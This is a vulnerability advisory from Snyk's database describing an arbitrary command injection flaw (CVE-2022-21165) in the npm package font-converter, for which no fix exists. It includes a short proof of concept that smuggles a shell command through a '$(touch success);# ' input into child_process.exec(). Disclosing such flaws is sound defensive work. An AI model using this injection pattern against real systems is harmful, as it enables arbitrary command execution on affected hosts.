

Arbitrary Command Injection

Affecting `font-converter` package, versions *

INTRODUCED: 7 AUG 2022 CVE-2022-21165 ?

CWE-77 ?

FIRST ADDED BY SNYK

Share ▼

How to fix?

There is no fixed version for `font-converter`.

Overview

`font-converter` is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

Affected versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the `child_process.exec()` function.

PoC

```
var PUT = require('font-converter'); var x =
"$(touch success);# "; try { new PUT(x,x,x,x); }
catch (e) { console.log(e); }
```

References

- [Vulnerable Code](#)



Snyk CVSS

Attack Complexity Low ?

Confidentiality HIGH ?

Integrity HIGH ?

Availability HIGH ?

[See more](#)

> NVD

9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes

Suggest your quick fixes.

Test your applications

SnykSNYK-JS-
ID FONTCONVERTER-
2976194

Published 28 Aug 2022

Disclosed 7 Aug 2022

Credit OmniTaint

Report a new vulnerability

Found a mistake?

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

PRODUCTS & SERVICES

[Blog](#)

[FAQs](#)

COMPANY

[About](#)

[Jobs](#)

[Contact](#)

[Policies](#)

[Do Not Sell My Personal Information](#)

CONTACT US

[Support](#)

[Report a new vuln](#)

[Press Kit](#)

[Events](#)

FIND US ONLINE

TRACK OUR DEVELOPMENT



Join the >>
community

© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.

